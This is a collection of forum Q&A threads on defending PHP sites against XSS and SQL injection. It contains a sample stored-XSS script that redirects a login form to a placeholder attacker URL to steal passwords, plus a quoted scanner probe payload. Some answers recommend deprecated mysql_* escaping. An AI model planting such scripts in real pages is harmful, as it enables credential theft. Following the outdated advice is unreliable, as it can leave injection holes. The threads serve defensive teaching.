cross-site scripting (xss) attack - php

I just have one simple question about XSS attack. I know that you can prevent them by sanitizing the form inputs, but my question is, how about a search input (a general search on a website for example)? Should we sanitize search inputs as well? I mean, it's just a search input, the user should be able to search for anything that he/she wants on the website. Please provide me with some clarification on this.
Thank you

I know that you can prevent them by sanitizing the form inputs
nope, you should prevent them by sanitizing the output. So in database (or wherever) you need to pass the data as-is, and process it right before you show it to user

Tho this has already been answered by zerkms
Doing sanitizing on sql injections from any user input that touches the database requires mysql_real_escape_string($_REQUEST['search'])
On output if your showing what user searched for like "You searched for:" use htmlentities(strip_tags($_REQUEST['search']), ENT_QUOTES);
Then your safe from incoming and outgoing

I just want to add one more point to the discussion here. You said:
I mean, it's just a search input, the user should be able to search for anything that he/she wants on the website.
Here's the gotcha: frequently the search term will be printed into the document that's rendered following the search. Ie, "You searched for: <whatever is was>". That's where you'll have your XSS vulnerability if you're not sanitizing this stuff.
If you're thinking "but we don't do that", bear in mind that you may not do so now, but you might do so in the future. And if you don't seal off this vulnerability now, you're likely to forget to do so later - so it's best just to nip this one in the bud.

how about using htmlpurifier ?

SQL Injection and XSS are two different (yet somewhat related) attacks. They are related in that essentially it boils down to the untrusted data escaping from the context it was placed in and subsequently performing unforeseen operations.
For following best practices in building your defenses I recommend having a read through OWASP's SQL Injection Prevention Cheat Sheet and their XSS Prevention Cheat Sheet.
OWASP has put forth the ESAPI Project which includes tools for encoding for the different contexts in which untrusted data can be used:
encodeForSQL
encodeForHTML
encodeForHTMLAttribute
encodeForJavaScript
encodeForCSS
encodeForURL
This library is available for a number of languages including Java, .NET, PHP, Classic ASP, Cold Fusion, Python, and Haskell. It also is able to perform input validation if it's required.
Some organisations who are using ESAPI include American Express, Apache Foundation, Booz Allen Hamilton, Aspect Security, Foundstone(McAfee), The Hartford, Infinite Campus, Lockheed Martin, MITRE, U.S. Navy - SPAWAR, The World Bank, SANS Institute.
Lastly - the encoding is to be performed just before interpretation (the closer the better). Ex: Just before you give the UI component the untrusted data to render you encode it. The UI component can't trust the server - it has to encode.

Related

PHP form name security vulnerability?

I'm a junior PHP developer currently working on a project with a small team. It's the first time I've worked in a team on a project so I'm learning lots and building team working skills.
There is one specific thing I noticed that my fellow developers do and I believe could be a large security risk. When creating forms they will give the input name the column name in the database. This means that wherever the data is posted they can use a nifty for each loop going through the POST array. Sure, it's pretty and easy, but do I want users to see the names of columns?
I'm not sure if it does pose a security risk (first thing I think of is SQL injection) but if it does what can be done?
I suppose you could possibly hash the names of the inputs? Still, that's not totally 100% secure. What if in the form page the names are things like 'apple64', 'banana99', 'chickens' and then in the PHP file they're converted to their corresponding column names?
The point of my question is to find general practice for this (possible) security vulnerability.
Such a general practice is called "whitelisting".
You are positively right about this vulnerability. And for a junior developer you have a very good eye. As a matter of fact, most people who call themselves "professionals" never bother themselves with such questions.
So, to prevent an ordinary SQL injection and also to prevent random access to table fields (a user may be disallowed to some of them), you have to verify your post data against a pre-written whitelist.
Here you can see my approach for either classic mysql or PDO as an example.
When you develop, you have to give to user the minimal informations.
Headers / DB name / Column name etc..
The risk of the sql injection exist if your form treatments are not secure.
To control your sql requests, you have to prepare them and check if the variable have special chars.
Documentation about pdo
http://php.net/manual/en/pdo.prepare.php
A nice "how to" about the sql injection:
http://www.unixwiz.net/techtips/sql-injection.html

PHP user input data security

I am trying to figure out which functions are best to use in different cases when inputting data, as well as outputting data.
When I allow a user to input data into MySQL what is the best way to secure the data to prevent SQL injections and or any other type of injections or hacks someone could attempt?
When I output the data as regular html from the database what is the best way to do this so scripts and such cannot be run?
At the moment I basically only use
mysql_real_escape_string();
before inputting the data to the database, this seems to work fine, but I would like to know if this is all I need to do, or if some other method is better.
And at the moment I use
stripslashes(nl2br(htmlentities()))
(most of the time anyways) for outputting data. I find these work fine for what I usually use them for, however I have run into a problem with htmlentities, I want to be able to have some html tags output respectively, for example:
<ul></ul><li></li><bold></bold>
etc, but I can't.
any help would be great, thanks.
I agree with mikikg that you need to understand SQL injection and XSS vulnerabilities before you can try to secure applications against these types of problems.
However, I disagree with his assertions to use regular expressions to validate user input as a SQL injection preventer. Yes, do validate user input insofar as you can. But don't rely on this to prevent injections, because hackers break these kinds of filters quite often. Also, don't be too strict with your filters -- plenty of websites won't let me log in because there's an apostrophe in my name, and let me tell you, it's a pain in the a** when this happens.
There are two kinds of security problems you mention in your question. The first is a SQL injection. This vulnerability is a "solved problem." That is, if you use parameterized queries, and never pass user supplied data in as anything but a parameter, the database is going to do the "right thing" for you, no matter what happens. For many databases, if you use parameterized queries, there's no chance of injection because the data isn't actually sent embedded in the SQL -- the data is passed unescaped in a length prefixed or similar blob along the wire. This is considerably more performant than database escape functions, and can be safer. (Note: if you use stored procedures that generate dynamic SQL on the database, they might also have injection problems!)
The second problem you mention is the cross site scripting problem. If you want to allow the user to supply HTML without entity escaping it first, this problem is an open research question. Suffice to say that if you allow the user to pass some kinds of HTML, it's entirely likely that your system will suffer an XSS problem at some point to a determined attacker. Now, the state of the art for this problem is to "filter" the data on the server, using libraries like HTMLPurifier. Attackers can and do break these filters on a regular basis; but as of yet nobody has found a better way of protecting the application from these kinds of things. You may be better off only allowing a specific whitelist of HTML tags, and entity encoding anything else.
This is one of the most problematic task today :)
You need to know how SQL injection and other attackers methods works. There are very detailed explanation of each method in https://www.owasp.org/index.php/Main_Page and also whole security framework for PHP.
Using specific security libraries from some framework are also good choice like in CodeIgniter or Zend.
Next, use REGEXP as much as you can and stick pattern rules to specific input format.
Use prepared statements or active records class of your framework.
Always cast your input with (int)$_GET['myvar'] if you really need numeric values.
There are so many other rules and methods to secure your application, but one golden rule is "never trust user's input".
In your php configuration, magic_quotes_gpc should be off. So you won't need stripslashes.
For SQL, take a look at PDO's prepared statements.
And for your custom tags, as there are only three of them, you can do a preg_replace call after the call of htmlentities to convert those back before your insert them into the database.

Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS

I'm a PHP developer and I'm looking to improve the security of my sites.
From what I understand the following are two major types of vulnerabilities which affect web applications:
SQL Injection
XSS
SQL Injection can be fixed with prepared statements - easy.
But I still don't really get XSS - is the following an example of XSS?...
Page full of user-made content has a login form at the top (site-wide).
The user's input to the page is not HTML-escaped.
A user posts the following content (e.g. a comment) to the page...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
An innocent user comes to the page, the script executes.
The innocent user realises they're not logged in, and enter their details into the form.
The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.
So I really have three questions here:
Would this work?
Is this XSS?
Are there any precautions developers should take against XSS other than escaping HTML?
There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.
The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.
In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.
Is this XSS?
Yes, this is an injection flaw in general and would be referred to as a XSS exploit in this particular case as it’s JavaScript that was injected.
But this injection flaw, where one user’s input gets reflected to other users without any changes, can also yield to other attacks like defacement.
Would this work?
Yes, it’s very likely that this would work as it’s the origin server that serves this code snipped just like any other code in the web page. So it’s like the author of the web site is the originator of this code and will be treated likewise.
Are there any precautions developers should take against XSS other than escaping HTML?
There are actually three different types of XSS: DOM based XSS, Reflected XSS, and Stored/persistent XSS). Your example is a stored/persistend XSS exploit as the server deploys the exploit with every request.
The general rule is not to trust any user input. That said either only valid user input should be allowed or the user input is filtered (removing invalid values) or properly encoded (convert invalid values) before outputting it. See OWASP’s XSS Cheat Sheet for further information.
it's xss and i believe it's javascript injection too
so i think this link will help
Yes that is an example of a basic persistent XSS attack. Not only could a user steal credentials in this situation but also attempt to infect visitors, or spam links through your site.
OWASP XSS Prevention Guide is a good start.
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

XSS in URI in page without any input

Is the XSS attack made by user input?
I have recived attacks like this:
'"--></style></script><script>alert(0x002357)</script>
when scanning a php page without any html content with acunetix or netsparker.
Thanks in advance
Remember that even if you had just a static collection of HTML files without any server-side or or client-side scripting whatsoever, you may still store you logs in an SQL database or watch them as HTML using some log analyzer which may be vulnerable to this kind of URIs. I have seen URIs in logs that were using escape sequences to run malicious command in command line terminals – google for escape sequence injection and you may be surprised how popular they are. Attacking web-based log analyzing tools is even more common – google for log injection. I am not saying that this particular attack was targeted at your logs but I'm just saying that not displaying any user input on your web pages doesn't mean that you are safe from malicious payloads in your URIs.
I'm not 100% sure I understand your question. If I understood you correctly, you used a security scanner to check your web application for XSS vulnerabilities and it did show a problem about which you aren't sure if it really is a problem.
XSS is pretty simple: whenever there is a way to force an application to display unfiltered code a user provided, there is a vulnerability.
The attack code you show above seems to target a style tag that add certain user provided data (eg. a template variable or something similar). You should check if there's such a thing in your app and make sure it's properly filtered.
Blackbox scanners will try this attack even when your html doesn't expect any parameter because there is no easy way for them to know what's going on in your source code), if you don't echo anything or use stuff like PHP_SELF you are fine.
Also take a look at DOM Based XSS to understand how XSS might happen without any server-side flaw.
If the scanner reports a vulnerability take a look at the description and source code, generally it will hilight the vulnerable part of the source code so you can see.
Secondly you can manually test and if executes JS then you can investigate whether it's about your framework, or a vulnerability in the javascript code or in URL Rewrite (maybe you echo your current path in the page) or something like that.
Where did you find this XSS? As far as I am aware if a page does not take any user-input (a process/display it) it cannot be vulnerable to XSS.
Edit:
I think I misunderstood your question - did you mean can XSS occur by entering Javascript in the address bar in the browser? Or by appending Javascript to the URI? If the latter - then the page is susceptible to XSS and you should use a whitelist for any variables passed to your URI. If the former, then no, any client-side changes in the address bar will only be visible to that single user.

Which Type of Input is Least Vulnerable to Attack?

Which type of input is least vulnerable to Cross-Site Scripting (XSS) and SQL Injection attacks.
PHP, HTML, BBCode, etc. I need to know for a forum I'm helping a friend set up.
(I just posted this in a comment, but it seems a few people are under the impression that select lists, radio buttons, etc don't need to be sanitized.)
Don't count on radio buttons being secure. You should still sanitize the data on the server. People could create an html page on their local machine, and make a text box with the same name as your radio button, and have that data get posted back.
A more advanced user could use a proxy like WebScarab, and just tweak the parameters as they are posted back to the server.
A good rule of thumb is to always use parameterized SQL statements, and always escape user-generated data before putting it into the HTML.
We need to know more about your situation. Vulnerable how? Some things you should always do:
Escape strings before storing them in a database to guard against SQL injections
HTML encode strings when printing them back to the user from an unknown source, to prevent malicious html/javascript
I would never execute php provided by a user. BBCode/UBBCode are fine, because they are converted to semantically correct html, though you may want to look into XSS vulnerabilities related to malformed image tags. If you allow HTML input, you can whitelist certain elements, but this will be a complicated approach that is prone to errors. So, given all of the preceding, I would say that using a good off-the-shelf BBCode library would be your best bet.
None of them are. All data that is expected at the server can be manipulated by those with the knowledge and motivation. The browser and form that you expect people to be using is only one of several valid ways to submit data to your server/script.
Please familiarize yourself with the topic of XSS and related issues
http://shiflett.org/articles/input-filtering
http://shiflett.org/blog/2007/mar/allowing-html-and-preventing-xss
Any kind of boolean.
You can even filter invalid input quite easily.
;-)
There's lots of BB code parsers that sanitize input for HTML and so on. If there's not one available as a package, then you could look at one of the open source forum software packages for guidance.
BB code makes sense as it's the "standard" for forums.
The input that is the least vulnerable to attack is the "non-input".
Are you asking the right question?
For Odin's sake, please don't sanitize inputs. Don't be afraid of users entering whatever they want into your forms.
User input is not inherently unsafe. The accepted answer leads to those kinds of web interfaces like my bank's, where Mr. O'Reilly cannot open an account, because he has an illegal character in his name. What is unsafe is always how you use the user input.
The correct way to avoid SQL injections is to use prepared statements. If your database abstraction layer doesn't let you use those, use the correct escaping functions rigorously (myslq_escape et al).
The correct way to prevent XSS attacks is never something like striptags(). Escape everything - in PHP, something like htmlentities() is what you're looking for, but it depends on whether you are outputing the string as part of HTML text, an HTML attribute, or inside of Javascript, etc. Use the right tool for the right context. And NEVER just print the user's input directly to the page.
Finally, have a look at the Top 10 vulnerabilities of web applications, and do the right thing to prevent them. http://www.applicure.com/blog/owasp-top-10-2010

Categories